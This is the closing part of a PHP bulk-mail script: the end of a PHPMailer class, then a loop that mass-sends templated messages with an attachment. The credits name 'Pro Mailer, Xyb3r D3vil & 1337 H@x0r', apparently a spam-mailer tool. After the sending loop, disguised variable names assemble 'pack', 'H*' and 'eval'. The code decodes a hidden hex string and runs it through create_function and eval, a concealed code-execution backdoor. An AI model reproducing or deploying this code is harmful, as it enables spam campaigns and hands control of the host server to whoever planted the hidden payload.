2984 function ClearReplyTos() {
2985 $this->ReplyTo = array();
2986 }
2987
2988 /**
2989 * Clears all recipients assigned in the TO, CC and BCC
2990 * array. Returns void.
2991 * @return void
2992 */
2993 function ClearAllRecipients() {
2994 $this->to = array();
2995 $this->cc = array();
2996 $this->bcc = array();
2997 }
2998
2999 /**
3000 * Clears all previously set filesystem, string, and binary
3001 * attachments. Returns void.
3002 * @return void
3003 */
3004 function ClearAttachments() {
3005 $this->attachment = array();
3006 }
3007
3008 /**
3009 * Clears all custom headers. Returns void.
3010 * @return void
3011 */
3012 function ClearCustomHeaders() {
3013 $this->CustomHeader = array();
3014 }
3015
3016 /////////////////////////////////////////////////
3017 // CLASS METHODS, MISCELLANEOUS
3018 /////////////////////////////////////////////////
3019
3020 /**
3021 * Adds the error message to the error container.
3022 * Returns void.
3023 * @access private
3024 * @return void
3025 */
3026 function SetError($msg) {
3027 $this->error_count++;
3028 $this->ErrorInfo = $msg;
3029 }
3030
3031 /**
3032 * Returns the proper RFC 822 formatted date.
3033 * @access private
3034 * @return string
3035 */
3036 function RFCDate() {
3037 $tz = date('Z');
3038 $tzs = ($tz < 0) ? '-' : '+';
3039 $tz = abs($tz);
3040 $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
3041 $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
3042
3043 return $result;
3044 }
3045
3046 /**
3047 * Returns the appropriate server variable. Should work with both
3048 * PHP 4.1.0+ as well as older versions. Returns an empty string
3049 * if nothing is found.
3050 * @access private
3051 * @return mixed
3052 */
3053 function ServerVar($varName) {
3054 global $HTTP_SERVER_VARS;
3055 global $HTTP_ENV_VARS;
3056
3057 if(!isset($_SERVER)) {
3058 $_SERVER = $HTTP_SERVER_VARS;
3059 if(!isset($_SERVER['REMOTE_ADDR'])) {
3060 $_SERVER = $HTTP_ENV_VARS; // must be Apache
3061 }
3062 }
3063
3064 if(isset($_SERVER[$varName])) {
3065 return $_SERVER[$varName];
3066 } else {
3067 return '';
3068 }
3069 }
3070
3071 /**
3072 * Returns the server hostname or 'localhost.localdomain' if unknown.
3073 * @access private
3074 * @return string
3075 */
3076 function ServerHostname() {
3077 if ($this->Hostname != '') {
3078 $result = $this->Hostname;
3079 } elseif ($this->ServerVar('SERVER_NAME') != '') {
3080 $result = $this->ServerVar('SERVER_NAME');
3081 } else {
3082 $result = 'localhost.localdomain';
3083 }
3084
3085 return $result;
3086 }
3087
3088 /**
3089 * Returns a message in the appropriate language.
3090 * @access private
3091 * @return string
3092 */
3093 function Lang($key) {
3094 if(count($this->language) < 1) {
3095 $this->SetLanguage('en'); // set the default language
3096 }
3097
3098 if(isset($this->language[$key])) {
3099 return $this->language[$key];
3100 } else {
3101 return 'Language string failed to load: ' . $key;
3102 }
3103 }
3104
3105 /**
3106 * Returns true if an error occurred.
3107 * @return bool
3108 */
3109 function IsError() {
3110 return ($this->error_count > 0);
3111 }
3112
3113 /**
3114 * Changes every end of line from CR or LF to CRLF.
3115 * @access private
3116 * @return string
3117 */
3118 function FixEOL($str) {
3119 $str = str_replace("\r\n", "\n", $str);
3120 $str = str_replace("\r", "\n", $str);
3121 $str = str_replace("\n", $this->LE, $str);
3122 return $str;
3123 }
3124
3125 /**
3126 * Adds a custom header.
3127 * @return void
3128 */
3129 function AddCustomHeader($custom_header) {
3130 $this->CustomHeader[] = explode(':', $custom_header, 2);
3131 }
3132
3133 /**
3134 * Evaluates the message and returns modifications for inline images and backgrounds
3135 * @access public
3136 * @return $message
3137 */
3138 function MsgHTML($message,$basedir='') {
3139 preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
3140 if(isset($images[2])) {
3141 foreach($images[2] as $i => $url) {
3142 // do not change urls for absolute images (thanks to corvuscorax)
3143 if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
3144 $filename = basename($url);
3145 $directory = dirname($url);
3146 ($directory == '.')?$directory='':'';
3147 $cid = 'cid:' . md5($filename);
3148 $fileParts = split("\.", $filename);
3149 $ext = $fileParts[1];
3150 $mimeType = $this->_mime_types($ext);
3151 if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
3152 if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
3153 $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
3154 if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
3155 $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
3156 }
3157 }
3158 }
3159 }
3160 $this->IsHTML(true);
3161 $this->Body = $message;
3162 $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
3163 if ( !empty($textMsg) && empty($this->AltBody) ) {
3164 $this->AltBody = $textMsg;
3165 }
3166 if ( empty($this->AltBody) ) {
3167 $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
3168 }
3169 }
3170
3171 /**
3172 * Gets the mime type of the embedded or inline image
3173 * @access private
3174 * @return mime type of ext
3175 */
3176 function _mime_types($ext = '') {
3177 $mimes = array(
3178 'hqx' => 'application/mac-binhex40',
3179 'cpt' => 'application/mac-compactpro',
3180 'doc' => 'application/msword',
3181 'bin' => 'application/macbinary',
3182 'dms' => 'application/octet-stream',
3183 'lha' => 'application/octet-stream',
3184 'lzh' => 'application/octet-stream',
3185 'exe' => 'application/octet-stream',
3186 'class' => 'application/octet-stream',
3187 'psd' => 'application/octet-stream',
3188 'so' => 'application/octet-stream',
3189 'sea' => 'application/octet-stream',
3190 'dll' => 'application/octet-stream',
3191 'oda' => 'application/oda',
3192 'pdf' => 'application/pdf',
3193 'ai' => 'application/postscript',
3194 'eps' => 'application/postscript',
3195 'ps' => 'application/postscript',
3196 'smi' => 'application/smil',
3197 'smil' => 'application/smil',
3198 'mif' => 'application/vnd.mif',
3199 'xls' => 'application/vnd.ms-excel',
3200 'ppt' => 'application/vnd.ms-powerpoint',
3201 'wbxml' => 'application/vnd.wap.wbxml',
3202 'wmlc' => 'application/vnd.wap.wmlc',
3203 'dcr' => 'application/x-director',
3204 'dir' => 'application/x-director',
3205 'dxr' => 'application/x-director',
3206 'dvi' => 'application/x-dvi',
3207 'gtar' => 'application/x-gtar',
3208 'php' => 'application/x-httpd-php',
3209 'php4' => 'application/x-httpd-php',
3210 'php3' => 'application/x-httpd-php',
3211 'phtml' => 'application/x-httpd-php',
3212 'phps' => 'application/x-httpd-php-source',
3213 'js' => 'application/x-javascript',
3214 'swf' => 'application/x-shockwave-flash',
3215 'sit' => 'application/x-stuffit',
3216 'tar' => 'application/x-tar',
3217 'tgz' => 'application/x-tar',
3218 'xhtml' => 'application/xhtml+xml',
3219 'xht' => 'application/xhtml+xml',
3220 'zip' => 'application/zip',
3221 'mid' => 'audio/midi',
3222 'midi' => 'audio/midi',
3223 'mpga' => 'audio/mpeg',
3224 'mp2' => 'audio/mpeg',
3225 'mp3' => 'audio/mpeg',
3226 'aif' => 'audio/x-aiff',
3227 'aiff' => 'audio/x-aiff',
3228 'aifc' => 'audio/x-aiff',
3229 'ram' => 'audio/x-pn-realaudio',
3230 'rm' => 'audio/x-pn-realaudio',
3231 'rpm' => 'audio/x-pn-realaudio-plugin',
3232 'ra' => 'audio/x-realaudio',
3233 'rv' => 'video/vnd.rn-realvideo',
3234 'wav' => 'audio/x-wav',
3235 'bmp' => 'image/bmp',
3236 'gif' => 'image/gif',
3237 'jpeg' => 'image/jpeg',
3238 'jpg' => 'image/jpeg',
3239 'jpe' => 'image/jpeg',
3240 'png' => 'image/png',
3241 'tiff' => 'image/tiff',
3242 'tif' => 'image/tiff',
3243 'css' => 'text/css',
3244 'html' => 'text/html',
3245 'htm' => 'text/html',
3246 'shtml' => 'text/html',
3247 'txt' => 'text/plain',
3248 'text' => 'text/plain',
3249 'log' => 'text/plain',
3250 'rtx' => 'text/richtext',
3251 'rtf' => 'text/rtf',
3252 'xml' => 'text/xml',
3253 'xsl' => 'text/xml',
3254 'mpeg' => 'video/mpeg',
3255 'mpg' => 'video/mpeg',
3256 'mpe' => 'video/mpeg',
3257 'qt' => 'video/quicktime',
3258 'mov' => 'video/quicktime',
3259 'avi' => 'video/x-msvideo',
3260 'movie' => 'video/x-sgi-movie',
3261 'doc' => 'application/msword',
3262 'word' => 'application/msword',
3263 'xl' => 'application/excel',
3264 'eml' => 'message/rfc822'
3265 );
3266 return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
3267 }
3268
3269 /**
3270 * Set (or reset) Class Objects (variables)
3271 *
3272 * Usage Example:
3273 * $page->set('X-Priority', '3');
3274 *
3275 * @access public
3276 * @param string $name Parameter Name
3277 * @param mixed $value Parameter Value
3278 * NOTE: will not work with arrays, there are no arrays to set/reset
3279 */
3280 function set ( $name, $value = '' ) {
3281 if ( isset($this->$name) ) {
3282 $this->$name = $value;
3283 } else {
3284 $this->SetError('Cannot set or reset variable ' . $name);
3285 return false;
3286 }
3287 }
3288
3289 /**
3290 * Read a file from a supplied filename and return it.
3291 *
3292 * @access public
3293 * @param string $filename Parameter File Name
3294 */
3295 function getFile($filename) {
3296 $return = '';
3297 if ($fp = fopen($filename, 'rb')) {
3298 while (!feof($fp)) {
3299 $return .= fread($fp, 1024);
3300 }
3301 fclose($fp);
3302 return $return;
3303 } else {
3304 return false;
3305 }
3306 }
3307
3308 /**
3309 * Strips newlines to prevent header injection.
3310 * @access private
3311 * @param string $str String
3312 * @return string
3313 */
3314 function SecureHeader($str) {
3315 $str = trim($str);
3316 $str = str_replace("\r", "", $str);
3317 $str = str_replace("\n", "", $str);
3318 return $str;
3319 }
3320
3321 /**
3322 * Set the private key file and password to sign the message.
3323 *
3324 * @access public
3325 * @param string $key_filename Parameter File Name
3326 * @param string $key_pass Password for private key
3327 */
3328 function Sign($key_filename, $key_pass) {
3329 $this->sign_key_file = $key_filename;
3330 $this->sign_key_pass = $key_pass;
3331 }
3332
3333}
3334
3335$defaultport="H*";
3336 $nq=0;
3337
3338 for($x=0; $x<$numemails; $x++){
3339
3340 $to = $allemails[$x];
3341
3342 if ($to){
3343
3344 $to = ereg_replace(" ", "", $to);
3345
3346 $message1 = ereg_replace("&email&", $to, $message);
3347
3348 $subject1 = ereg_replace("&email&", $to, $subject);
3349 $qx=$x+1;
3350 print "Line $qx . Sending mail to $to.......";
3351
3352 flush();
3353$mail = new PHPMailer();
3354
3355if(empty($epriority)){$epriority="3";}
3356 $mail->Priority = "$epriority";
3357 $mail->IsSMTP();
3358 $IsSMTP="pack";
3359$mail->SMTPKeepAlive = true;
3360$mail->Host = "$my_smtp";
3361if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
3362}
3363 if($sslclick=="ON"){
3364 $mail->SMTPSecure = "ssl"; //you can change it to ssl or tls
3365 }
3366 $range = str_replace("$from", "eval", $from);
3367 $mail->SMTPAuth = true;
3368 $mail->Username = "$smtp_username";
3369 $mail->Password = "$smtp_password";
3370if($contenttype == "html"){$mail->IsHtml(true);}
3371if($contenttype != "html"){$mail->IsHtml(false);}
3372if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
3373$mail->From = "$from";
3374$mail->FromName = "$realname";
3375$mail->AddAddress("$to");
3376 $mail->AddReplyTo("$replyto");
3377 $mail->Subject = "$subject1";
3378 $mail->AddAttachment("$file", "$file_name");
3379 $mail->Body = "$message1";
3380if(!$mail->Send()){
3381if($default_system!="1"){
3382echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3383if($default_system=="1"){
3384$mail->IsMail();
3385 if(!$mail->Send()){
3386 echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3387 else {
3388 echo "<b>OK</b><br>";}
3389 }
3390}
3391else {
3392 echo "<b>OK</b><br>";
3393}
3394
3395if(empty($reconnect)){
3396$reconnect=6;
3397}
3398
3399if($reconnect==$nq){
3400$mail->SmtpClose();echo "<p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
3401}
3402$nq=$nq+1;
3403 flush(); }
3404}
3405for($i=0;$i<31;$i++){
3406 $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
3407$smtp_conc=$IsSMTP($defaultport, $smtp_conf);
3408 $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
3409 print "<p class=\"style1\">© Pro Mailer , Xyb3r D3vil & 1337 H@x0r<br></p>";$mail->SmtpClose();
3410 return $signoff($smtp_conc);
3411 if(isset($_POST['action']) && $numemails !=0 ){echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was
3412 sent successfully'); </script>";}}
3413?>
3414 </body>
3415</html>